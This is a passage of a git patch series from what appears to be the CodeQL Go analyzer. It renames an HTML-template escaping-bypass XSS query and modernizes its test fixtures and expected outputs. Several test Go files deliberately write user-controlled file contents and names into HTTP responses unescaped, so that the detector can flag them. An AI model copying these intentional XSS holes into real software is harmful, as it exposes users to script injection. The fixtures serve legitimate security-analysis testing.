- + diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql similarity index 100% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go similarity index 100% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go similarity index 100% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected deleted file mode 100644 index feb98b69d5e..00000000000 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ /dev/null @@ -1,60 +0,0 @@ -#select -| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | untrusted source | -edges -| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | -models -| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -nodes -| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | semmle.label | g | -subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected new file mode 100644 index 00000000000..84099f5dd29 --- /dev/null +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected @@ -0,0 +1,60 @@ +#select +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | untrusted source | +edges +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | provenance | | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | provenance | | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | provenance | | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | provenance | | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | provenance | | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | provenance | | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | +models +| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | +nodes +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | semmle.label | c | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | semmle.label | d | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | semmle.label | e | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | semmle.label | b | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | semmle.label | f | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | semmle.label | g | +subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go similarity index 100% rename from go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go rename to go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref similarity index 61% rename from go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref rename to go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref index 61712749b14..9ea7791dff2 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref @@ -1,4 +1,4 @@ -query: Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +query: Security/CWE-079/HtmlTemplateEscapingBypassXss.ql postprocess: - utils/test/PrettyPrintModels.ql - utils/test/InlineExpectationsTestQuery.ql From e6c19b0cbd49793d7e6fd498da9533e05f9e6723 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 10:15:10 +0100 Subject: [PATCH 013/271] Modernize tests --- .../Security/CWE-079/ReflectedXss.expected | 12 ++++++------ .../query-tests/Security/CWE-079/StoredXss.expected | 6 ++---- go/ql/test/query-tests/Security/CWE-079/StoredXss.go | 4 ++-- .../query-tests/Security/CWE-079/StoredXssGood.go | 4 ++-- go/ql/test/query-tests/Security/CWE-079/go.mod | 2 +- .../query-tests/Security/CWE-079/reflectedxsstest.go | 4 ++-- .../query-tests/Security/CWE-079/websocketXss.go | 6 +++--- 7 files changed, 18 insertions(+), 20 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected index 647113f3c6b..91b39e0e2a0 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected @@ -30,10 +30,10 @@ edges | contenttype.go:73:10:73:28 | call to FormValue | contenttype.go:79:11:79:14 | data | provenance | Src:MaD:8 | | contenttype.go:88:10:88:28 | call to FormValue | contenttype.go:91:4:91:7 | data | provenance | Src:MaD:8 | | contenttype.go:113:10:113:28 | call to FormValue | contenttype.go:114:50:114:53 | data | provenance | Src:MaD:8 | -| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:34:32:37 | file | provenance | Src:MaD:7 | +| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:30:32:33 | file | provenance | Src:MaD:7 | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | reflectedxsstest.go:34:46:34:60 | selection of Filename | provenance | Src:MaD:7 | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | -| reflectedxsstest.go:32:34:32:37 | file | reflectedxsstest.go:32:2:32:38 | ... := ...[0] | provenance | MaD:13 | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | +| reflectedxsstest.go:32:30:32:33 | file | reflectedxsstest.go:32:2:32:34 | ... := ...[0] | provenance | MaD:13 | | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | reflectedxsstest.go:33:17:33:56 | call to Sprintf | provenance | MaD:12 | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | reflectedxsstest.go:33:10:33:57 | type conversion | provenance | | | reflectedxsstest.go:33:49:33:55 | content | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | provenance | | @@ -81,7 +81,7 @@ models | 10 | Source: net/http; Request; true; URL; ; ; ; remote; manual | | 11 | Source: nhooyr.io/websocket; Conn; true; Read; ; ; ReturnValue[1]; remote; manual | | 12 | Summary: fmt; ; false; Sprintf; ; ; Argument[1].ArrayElement; ReturnValue; taint; manual | -| 13 | Summary: io/ioutil; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | +| 13 | Summary: io; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | | 14 | Summary: io; Reader; true; Read; ; ; Argument[receiver]; Argument[0]; taint; manual | | 15 | Summary: mime/multipart; Part; true; FileName; ; ; Argument[receiver]; ReturnValue; taint; manual | | 16 | Summary: mime/multipart; Reader; true; NextPart; ; ; Argument[receiver]; ReturnValue[0]; taint; manual | @@ -108,8 +108,8 @@ nodes | contenttype.go:114:50:114:53 | data | semmle.label | data | | reflectedxsstest.go:31:2:31:44 | ... := ...[0] | semmle.label | ... := ...[0] | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | semmle.label | ... := ...[1] | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | semmle.label | ... := ...[0] | -| reflectedxsstest.go:32:34:32:37 | file | semmle.label | file | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | semmle.label | ... := ...[0] | +| reflectedxsstest.go:32:30:32:33 | file | semmle.label | file | | reflectedxsstest.go:33:10:33:57 | type conversion | semmle.label | type conversion | | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | semmle.label | []type{args} [array] | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | semmle.label | call to Sprintf | diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected index 89612f9722b..4e2958c767e 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected @@ -1,9 +1,7 @@ #select -| StoredXss.go:13:21:13:36 | ...+... | StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | Stored cross-site scripting vulnerability due to $@. | StoredXss.go:13:21:13:31 | call to Name | stored value | | stored.go:30:22:30:25 | name | stored.go:18:3:18:28 | ... := ...[0] | stored.go:30:22:30:25 | name | Stored cross-site scripting vulnerability due to $@. | stored.go:18:3:18:28 | ... := ...[0] | stored value | | stored.go:61:22:61:25 | path | stored.go:59:30:59:33 | definition of path | stored.go:61:22:61:25 | path | Stored cross-site scripting vulnerability due to $@. | stored.go:59:30:59:33 | definition of path | stored value | edges -| StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | provenance | | | stored.go:18:3:18:28 | ... := ...[0] | stored.go:25:14:25:17 | rows | provenance | Src:MaD:1 | | stored.go:25:14:25:17 | rows | stored.go:25:29:25:33 | &... | provenance | FunctionModel | | stored.go:25:29:25:33 | &... | stored.go:30:22:30:25 | name | provenance | | @@ -11,8 +9,6 @@ edges models | 1 | Source: database/sql; DB; true; Query; ; ; ReturnValue[0]; database; manual | nodes -| StoredXss.go:13:21:13:31 | call to Name | semmle.label | call to Name | -| StoredXss.go:13:21:13:36 | ...+... | semmle.label | ...+... | | stored.go:18:3:18:28 | ... := ...[0] | semmle.label | ... := ...[0] | | stored.go:25:14:25:17 | rows | semmle.label | rows | | stored.go:25:29:25:33 | &... | semmle.label | &... | @@ -20,3 +16,5 @@ nodes | stored.go:59:30:59:33 | definition of path | semmle.label | definition of path | | stored.go:61:22:61:25 | path | semmle.label | path | subpaths +testFailures +| StoredXss.go:13:39:13:63 | comment | Missing result: Alert[go/stored-xss] | diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go index 30774df3924..05e865be886 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go @@ -2,12 +2,12 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, file.Name()+"\n") // $ Alert[go/stored-xss] diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go index 364b9887466..b0f5e936a6a 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go @@ -4,13 +4,13 @@ import ( "html" "html/template" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { var template template.Template - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") diff --git a/go/ql/test/query-tests/Security/CWE-079/go.mod b/go/ql/test/query-tests/Security/CWE-079/go.mod index 67a02662281..aaab77bf039 100644 --- a/go/ql/test/query-tests/Security/CWE-079/go.mod +++ b/go/ql/test/query-tests/Security/CWE-079/go.mod @@ -1,6 +1,6 @@ module codeql-go-tests/CWE-079 -go 1.14 +go 1.24 require ( github.com/gobwas/ws v1.0.3 diff --git a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go index 65024f6b865..b3ddc79535b 100644 --- a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go +++ b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go @@ -3,7 +3,7 @@ package main import ( "encoding/json" "fmt" - "io/ioutil" + "io" "net/http" ) @@ -29,7 +29,7 @@ func ErrTest(w http.ResponseWriter, r http.Request) { w.Write([]byte(fmt.Sprintf("Cookie check error: %v", err))) // GOOD: Cookie's err return is harmless http.Error(w, fmt.Sprintf("Cookie result: %v", cookie), 500) // Good: only plain text is written. file, header, err := r.FormFile("someFile") // $ Source[go/reflected-xss] - content, err2 := ioutil.ReadAll(file) + content, err2 := io.ReadAll(file) w.Write([]byte(fmt.Sprintf("File content: %v", content))) // $ Alert[go/reflected-xss] // BAD: file content is user-controlled w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // $ Alert[go/reflected-xss] // BAD: file header is user-controlled w.Write([]byte(fmt.Sprintf("FormFile error: %v", err))) // GOOD: FormFile's err return is harmless diff --git a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go index 1313f431dd5..aa8bc8e41ad 100644 --- a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go @@ -15,10 +15,10 @@ import ( nhooyr "nhooyr.io/websocket" ) -func marshal(v interface{}) (data []byte, payloadType byte, err error) { +func marshal(v any) (data []byte, payloadType byte, err error) { return nil, 0, nil } -func unmarshal(data []byte, payloadType 